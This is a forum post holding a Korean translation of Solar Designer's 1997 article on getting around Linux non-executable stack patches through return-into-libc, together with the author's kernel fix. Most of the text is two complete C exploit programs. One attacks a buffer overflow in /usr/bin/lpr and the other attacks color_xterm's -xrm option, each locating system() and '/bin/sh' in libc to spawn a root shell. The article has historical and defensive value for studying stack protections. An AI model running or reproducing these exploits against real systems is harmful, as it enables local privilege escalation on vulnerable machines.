ºñ ½ÇÇà ½ºÅÃ

   Á¶È¸ 37711   Ãßõ 2    

¼¼¹ú½­_ºñ_½ÇÇà_½ºÅÃ.doc (82.0K), Down : 2, 2017-07
¼¼¹ú½­_ºñ_½ÇÇà_½ºÅÃ.pdf (67.3K), Down : 0, 2017-07

비 실행 스택

+--------------------------------------------------------------------------------+

원문서 제 목 : Getting around non-executable stack (and fix)

원문서 저 자 : Solar Designer 

원문서 작성일 : 1997. 08. 10.

문 서 번역일 : 2003. 07. 29

문 서 번역자 : 광주광역쉬에서 세벌쉭

코 멘 트 : 본 번역본은 순전히 개인적인 호기심에서 번역한 것이다. 

 조금이라도 의심스러운 해석은 원문서를 참조하기 바란다.

 오자, 탈자, 오역이 존재하는 초벌 번역임을 참고하시기 바란다.

+--------------------------------------------------------------------------------+

나는 마침내 return-into-libc 오버플로 익스플로잇 을 발표 하기로 결정하였다. 이 방법은 몇달전부터 리눅스커널 리스트 상에서 논의되어졀다. 하지만 아직까지 익스플로잇이 없다. 나는 이것을 어떻게 하면 사용하지 못하게 할 것인지에 대해서 말하고자 한다. 또한 리턴 투 라이브러리기법에 관한 로컬 공격용 익스플로잇을 보여 줄 것이다.

[나는당신이 전체를 읽어 보기를 권한다. 만일 당신이 리눅스 시스템을 운영하고 있지 않다고 하더라도 말이죠. 여기에서 설명하고 있는 많은 것들은 다른 시스템 상에서도 유용할 것이다.(지난해 부터 여기서 논의되어진 디지털 유닉스 안에서 그러한 오버플러를 어떤사람이 마침내 성공 시킬 것이다.) 물론 이 방법은 쉘코드와 함께 사용되어지는 일반적인 방법보도 더 좋을 수도 있다. 스택이 실행 가능한 상태에 있을 지라도 말이다.]

당신은 내가 제안하는 non-executable stack Linux kernel patch 를 수행한 수정된 버전을 http://www.false.com/security/linux-stack/ 에서 찿을 수 있을 것이다.

문제점은 공유라이브러들의 주소들을 수정함으로서 고쳐진다. 그것들은 mmap() 함수에의해서 항상 제로 바이트가 포함되어지는 곳에 위치 하게 될 것이다.

대부분의 취약점이 있어서 오버플러는 아스키 문자열로 공격이 수행되어진다. 따라서 위와 같이 함으로서 공격자가 함수에 패라미터들을 전달하지 못하게 할것이다. 또한 특정 패턴(리턴 어드레스의 정확한 옵셋을 알기 위해서 요구되어지는)으로 버퍼를 채우는것을 방지 할 것이다.

충분히 위험하고 리턴 주소의 정확한 옵셋을 발견 할수 있는 인자가 필요없는(이것은 단일 함수 여야 한다. 연속적으로 여러개의 함수를 호출 할수 없다.) libc 함수를 여전히 발견 할 수있다는 것을 인정한다. 그러나, 그것은 매우 복잡한 것이 될겋이다. 특히 리모트 익스플로잇에서는 말이다. 그리고 첫번째 시도 이래로 그것들이 어디에 있는지 추측해야 할것이다.(그리고 libc 안에서 주소를 추측할 필요가 있다.) 그래서 전과 같이 알려진 취약점을 수정하고 아직 안알려진 취약점들에 대한 보안을 강화하기 위한 패치를 사용하라. 로컬 사용자들이 패치를 통과하는 것을 허락하는 바이너리 헤더 플레그 버그를 고쳤다. 보고서를 보내준 분들께 감사한다.

그리고 한가지더 좋은 점 : /tmp 디렉토리에대한 심볼릭 링크를 못하도록 추가 했다. 또한 하드링크도 못하로록 수정했다. 루트 사용자가 아닌 사용자가 그들이 소유하지 않는 파일에 대해서 하드링크를 만들 수 없다. +t 디렉토리에 말이다. 이것들은 어떤때는 원하는 행위가 될수가 있을 것이다. 그러한 링크는 다른 사용자들에 의해서 제거되어짔수 없다. 또한 익스플로잇 시도를 기록하는 것을 추가 했다. 이 코드는 비수행 스택 코드와 함께 공유 되어 질 것이다. 두개의 분리된 패치대신에 한개의 패지를 만든 것은 몇가지 이유를 가지고 있다. 당신은 어떤때는 분리해서 활성화 시킬수 있을 것이다.

lpr 명령안에서 잘 알려지고 오래된 오버플러를 위한 익스플로잇이 나간다. 이것은 간단한 예제이다. 그래서 그것은 좋은 출발점이 될것이다.

알림:이것은 어쎔블리 코드를 포함하고 있지 않다. 단지 놉 코드만이 있을 뿐이다. 하지만 이것은 좋게 사용되어지지 않는다. system() 함수가 256바이트 경계에서 발생할때에 대한 예제이다. 익스플로잇은 고정된 주소를 가지고 있지 않다. 다음 코드를 보기 전에 잇스플로잇안에있는 주석들을 읽어 보기 바란다.

>-- lpr.c --<

/* 비실행 스택 패치가 이루어진 리눅스 상에서 /usr/bin/lpr 명령에 대한 버퍼 오버플러 익스플로잇

* Copyright (c) 1997 by Solar Designer */

#include <stdio.h>

#include <unistd.h>

#include <string.h>

#include <stdlib.h>

#include <signal.h>

#include <setjmp.h>

#include <sys/ptrace.h>

#include <sys/types.h>

#include <sys/wait.h>

#define SIZE 1200 /* 오버플러하기 위한 데이타의 총량*/

#define ALIGNMENT 11 /* 0, 8, 1..3, 9..11 */

#define ADDR_MASK 0xFF000000

char buf[SIZE];

int *ptr;

int pid, pc, shell, step;

int started = 0;

jmp_buf env;

void handler() { started++; } /* libc 를 탐색하기 위한 SIGSEGV 핸들러 */

void fault() { //====================

if (step < 0) { /* 탐색 방향을 변경한다. */

longjmp(env, 1);

}

else { /* 두 디렉토리에서 탐색에 실패했다. */

puts("\"/bin/sh\" not found, bad luck");

exit(1);

}

}

void error(char *fn) { //==================

perror(fn);

if (pid > 0) kill(pid, SIGKILL);

exit(1);

}

void main() { //==================

signal(SIGUSR1, handler);

/* 추적하기 위해서 차일드 프로세스를 만든다. */

if ((pid = fork()) < 0) error("fork");

if (!pid) {

/* 부모에게 시그럴을 보낸다. 그래서 추적을 시작한다.*/

kill(getppid(), SIGUSR1);

/* 부모가 즉각적으로 추적을 시작하지 않을 경우에대한 루프 */

while (1) system("");

}

/* 자식이 다음 라이브러리 콜이 system()이라고 말해줄때까지 기다린다. */

while (!started);

if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

/* 시스템 함수에서 나알때까지 자식을 싱글스텝으로 실행 시킨다. */

do {

waitpid(pid, NULL, WUNTRACED);

pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);

if (pc == -1) error("PTRACE_PEEKUSR");

if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");

} while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

/* 시스템 함수를 다시 호출할때까지 싱글 스텝으로 실행한 */

do {

waitpid(pid, NULL, WUNTRACED);

pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);

if (pc == -1) error("PTRACE_PEEKUSR");

if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");

} while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

/* 차일드를 죽인다. 우리는 더이상 이렇게 할 필요가 없을 것이다. */

if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");

pid = 0;

printf("system() found at: %08x\n", pc);

/* 만일 시스템이 256바이트로 맞추어져 있다면 여분의 놉코드가 있기를 희망한다. */

if (!(pc & 0xFF)) if (*(unsigned char *)--pc != 0x90) pc = 0;

/* 어렇게 하는것은 쉽지 않을 것이다(다른 함수를 사용하는 것을 제외하고) */

if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {

puts("Zero bytes in address, bad luck");

exit(1);

}

/* ==========================================================

그것의 주소에서 노 제로 바이트들과 함게 있는 복사본을 발견할때까지 libc내에서 "/bin/sh" 를 찾는다. libc 가 mmap() 되어지는 실제 주소가 지정되는 것을 피하기 위해서 우리는 세그먼트 폴트가 발생할때까지 양방향으로 시스템 함수 주소로부터 탐색을 한다.

========================================================== */

if (setjmp(env)) step = 1; else step = -1;

shell = pc;

signal(SIGSEGV, fault);

do

while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;

while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));

signal(SIGSEGV, SIG_DFL);

printf("\"/bin/sh\" found at: %08x\n", shell);

/* ==========================================================

시스템 함수로 부터 돌아 왔을때 스택은 다음과 같을 것이다:

* pointer to "/bin/sh"

* return address placeholder

* stack pointer -> pointer to system()

*버퍼는 이와 같은 12바이트 패턴으로 채워져 있을 것이다. 하지만 우리는 얼라인먼트를 위해서 값들을 12번까지넣는다. 대신에 16바이트 패턴이 사용되어진 이유이다.

* pointer to "/bin/sh"

* pointer to "/bin/sh"

* stack pointer (case 1) -> pointer to system()

* stack pointer (case 2) -> pointer to system()

*두 스택포인터 값들중에 어떤것이 실행 되어질것이다. 얼라인먼트를위한 값들의 8까지가 시도되어 질 것이다.

=============================================================*/

memset(buf, 'x', ALIGNMENT);

ptr = (int *)(buf + ALIGNMENT);

while ((char *)ptr < buf + SIZE - 4*sizeof(int)) {

*ptr++ = pc;

*ptr++ = pc;

*ptr++ = shell;

*ptr++ = shell;

}

buf[SIZE - 1] = 0;

execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);

error("execl");

}

>-- lpr.c --<

위에 익스플로잇은 당신이 쉘을 빠저나온후에 파괴되어 질것이다. 이것은 12바이트 패턴(주석안에 설명되어진 같이)을 사용 함으로서 수정되어 질수 있다. exit()함수를 지시하기 위해서 리턴 어드레스를 세팅한다.(우리는 그것을 첫번째로 할 필요가 있다.) 하지만 이것은 8에서 12로 시도하기 위해서 가능한 얼라인먼트 수를 증가하게 될것이다. 따라서 나는 그렇게 하지 않았다.

이제 보다 복잡한 익스 플로잇이다. -xrm libX11 오버플러이다. 이것은 슬렉웨어 3.1 칼라 엑스템에서 테스트 되어 졌다. 다른 엑스텀상에서도 작동 할것이다.(레드햇 4.2에서 엑스텀과 엔엑스텀상에서도 테스트 되어졌다) 하지만 루트쉘이 아닌 유저쉘을 제공하게 된다. 그들의 권한을 일시적으로 사용하지 못하게 한다. 그래서 setuid() 호출이 필요 할 것이다.실제 한행에 두개의 함수를 연속해서 호출하는 방법을 사용한다. 만일 첫번째 호출이 정확하게 한개의 인자를 가지고 호출 한다면 가능 할것이다. 스택은 다음과 같을 것이다.

pointer to "/bin/sh"

pointer to the UID (usually to 0)

pointer to system()

stack pointer -> pointer to setuid()

이것은 얼라인먼트를 위해서 16개 값까지 요구할 것이다. 이 경우에 setuid() 함수는 system() 함수로 리턴 할것이다. 그리고 시스템함수가 실행되고 있는 동안에 UID 에 대한 포인터는 위치해 있을 것이다. 시스템함수의 리턴 주소가 일반적으로 있어야 할곳에 말이다. 그래서 다시 당신이 쉘을 탈출한후에는 파괴되어질 것이다.(하지만 이번에는 해결책이 없다. 누가 주의하기나 한데)

나는 독자들을 위해서 연습문제로서 setuid() 문제를 남겨 두겠다. 이 익스플로잇에 있는 또른 것은 libX11 안에 있는 GetDatabase() 함수가 리턴하기 바로 전에 그것의 인자를 사용 한다는 것이다. 그래서 만일 당신이 그것 다음에 리턴 주소와 몇바이트를 오버라이트 한다면 (일반적인 패턴을 채우는 것과같이), 익스플로이는 작동하지 않을 것이다.

-xrm 익스플로잇은 안정된 버전으로 공개된것이아니기 때문이다. 또한 정확한 사이즈를 맞추어줄 필요가 있다. libc 안으로 리턴하기 위해서, 전혀 불가능 한것은 아니다. libc 함수에대한 인자들은 리턴 어드레스 바로 다음에 위치한다. 그것은 나의 슈퍼증명 익스플로잇과 같이 비슷한 트릭을 사용한 이유이다:그것 안에 있는 함수 포인터를 가지고있는 구조체 포인터를 오버라이트한다.(그들 함수는 정확하게 한개의 인자를 가지고 있다. )이 트릭은 다른 패턴으로 채워진 3개의 분리된 버퍼를 필요로 한다. 첫번째 버퍼는 오버플러에 사용하는 것이고 다른 두개는 스택상에 넣어질 것이다. 시스템 함수로 부터 올바른 리턴 어드레스는 가지고 있지 않다.

스택상에 있는 어떤 위치에 대한 포인터가 거기에 있다. 이것은 당신이 쉘을 떠날때 매우 재미있게 행동하도록 할 것이다: 익스플로잇은 기록되어 질것이다. 그래서 시스템 항수는 스택상으로 리턴 할것이다. 당신은 취약프로그램을 죽일수 있다. 만일 원하지 않는다면 쉘을 탈출하는 대신에 실해되고 있는 취약 프로그램을 죽일수 있다. 익스플로잇을 그 취약프로그램의 동일한 공유라이브러리로 링크해야 된다는 것을 유의하기 바란다. 물론 익스플로잇이 작동하지 않다면 얼라인먼트2를 위해서 추가적으로 4바이트를 추가 해야 한다. 다른 사용자들한테서는 정상적으로 작동하는데도 자신한테는 정상적으로 작동하지 않는다면 말이다.

>-- cx.c --<

/*=========================================================

비실행 스택 패치 상태에서 리눅스 color_xterm 버퍼오버 플로잇

* Copyright (c) 1997 by Solar Designer

*컴파일 방법 :

* gcc cx.c -o cx -L/usr/X11/lib

* `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e s/\\\.so.\\\+//`

*실행 방법

* $ ./cx * system() found at: 401553b0

* "/bin/sh" found at: 401bfa3d * bash# exit

* Segmentation fault

============================================================*/

#include <stdio.h>

#include <unistd.h>

#include <string.h>

#include <stdlib.h>

#include <signal.h>

#include <setjmp.h>

#include <sys/ptrace.h>

#include <sys/types.h>

#include <sys/wait.h>

#define SIZE1 1200 /* 오버플로를 일으킬 데이타의 총량*/

#define ALIGNMENT1 0 /* 0..3 */

#define OFFSET 22000 /* 구조체 배열 옵셋 */

#define SIZE2 16000 /* 구조체 배열 사이즈*/

#define ALIGNMENT2 5 /* 0, 4, 1..3, 5..7 */

#define SIZE3 SIZE2

#define ALIGNMENT3 (ALIGNMENT2 & 3)

#define ADDR_MASK 0xFF000000

char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2];

int *ptr;int pid, pc, shell, step;

int started = 0;

jmp_buf env;

void handler() { started++; }

/* 세그먼트 폴트 핸들러, libc 를 탐색하기 위해서 */

void fault() { //=====================

if (step < 0) { /* 탐색방향 변경 */

longjmp(env, 1);

}

else { /* 양쪽 방향으로 탐색 실폐 */

puts("\"/bin/sh\" not found, bad luck");

exit(1);

}

}

void error(char *fn) { //====================

perror(fn);

if (pid > 0) kill(pid, SIGKILL);

exit(1);

}

int nz(int value) { //==================

if (!(value & 0xFF)) value |= 8;

if (!(value & 0xFF00)) value |= 0x100;

return value;

}

void main() { //===========================

/*스택포인터 값을 얻기 위한 간단한 방법,왜 다른 익스플로잇들이 여기서 어셈블리 명령을 사용하는지 ? */

int sp = (int)&sp;

signal(SIGUSR1, handler);

/* 추적하기 위해서 차일드 프로세스를 만든다. */

if ((pid = fork()) < 0) error("fork");

if (!pid) {

/* 부모에게 시그널을 보낸다. 그래서 추적을 시작한다.*/

kill(getppid(), SIGUSR1);

/* 부모가 즉각적으로 추적을 시작하지 않을 경우에 대한 루프 */

while (1) system("");

}

/* 차이드는 다음 호출되어질 라이브러리는 시스템 함수라고 말해 줄때까지 기다린다. */

while (!started);

if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

/* 시스템함수를 벗어날때까지 차일드를 싱글스텝 시킨다 */

do {

waitpid(pid, NULL, WUNTRACED);

pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);

if (pc == -1) error("PTRACE_PEEKUSR");

if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");

} while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

/*다시 시스템을 호출할때까지 차일드를 싱글 스텝 시킨다.*/

do {

waitpid(pid, NULL, WUNTRACED);

pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);

if (pc == -1) error("PTRACE_PEEKUSR");

if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");

} while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

/* 차일드를 죽인다. 우리는 더이상 필요가 없다. */

if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");

pid = 0;

printf("system() found at: %08x\n", pc);

/* 시스템이 256바이트로 얼라인먼터 되어져 있다면 추가적인 놉코드를 덧붙이기를 희망한다. */

if (!(pc & 0xFF)) if (*(unsigned char *)--pc != 0x90) pc = 0;

/* 이것을 위해서 쉽게 할 수 없도록 한다.(다른 함수를 사용하는 것을 제외하고) */

if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {

puts("Zero bytes in address, bad luck");

exit(1);

}

/* ==============================================

libc 안에서 "/bin/sh" 문자열을 탐색한다. 그것의 어드레스 안에서 노 제로 바이트를 가지고 있는 복사본을 발견할때까지 말이다. 실제 주소를 지정하는 피하기 위해서 libc는 mmap() 되어진다. 우리는 시스템 함수 주소로 부터 양방향으로 탐색한다. 세그먼트 폴트가 발생할때까지.

================================================ */

if (setjmp(env)) step = 1; else step = -1;

shell = pc;

signal(SIGSEGV, fault);

do

while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;

while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));

signal(SIGSEGV, SIG_DFL);

printf("\"/bin/sh\" found at: %08x\n", shell);

/* buf1 (우리가 오버플러할) 는 buf2를 지시하는 포인터들로 채워진다. */

memset(buf1, 'x', ALIGNMENT1);

ptr = (int *)(buf1 + ALIGNMENT1);

while ((char *)ptr < buf1 + SIZE1 - sizeof(int))

*ptr++ = nz(sp - OFFSET); /* db */

buf1[SIZE1 - 1] = 0;

/* buf2 는 "/bin/sh" 와 buf3 에 대한 포인터들로 채워진다. */

memset(buf2, 'x', SIZE2 + SIZE3);

ptr = (int *)(buf2 + ALIGNMENT2);

while ((char *)ptr < buf2 + SIZE2) {

*ptr++ = shell; /* db->mbstate */

*ptr++ = nz(sp - OFFSET + SIZE2); /* db->methods */

}

/* buf3 는 시스템 함수에대한 포인터로 채워진다.*/

ptr = (int *)(buf3 + ALIGNMENT3);

while ((char *)ptr < buf3 + SIZE3 - sizeof(int))

*ptr++ = pc; /* db->methods->mbfinish */

buf3[SIZE3 - 1] = 0;

/* buf2 와 buf3 를 스택상에 넣는다. */

setenv("BUFFER", buf2, 1);

/* libX11 에서 GetDatabase() 함수는 (*db->methods->mbfinish)(db->mbstate) 를 실행게 될 것이다.*/

execl("/usr/X11/bin/color_xterm", "color_xterm", "-xrm", buf1, NULL);

error("execl");

}

>-- cx.c --<

이게 전부다. 버퍼오버플로를 익스플로잇 하는것이 예술이라는 것을 증명하기 위해서 취급되어지기를 바란다.

Signed,Solar Designer

반갑습니다.
¼¼¹ú½­ 2017-07
¾Æ¸¶
½ºÅà ¿À¹öÇ÷Π°ø°ÝÀ»
¹æ¾îÇϱâÀ§ÇÑ Ä¿³ÎÂ÷¿ø  ÆÐÄ¡
±â¼ú¹®¼­¿´´øµí~~


Á¦¸ñPage 1242/28
°Ô½Ã¹°ÀÌ ¾ø½À´Ï´Ù.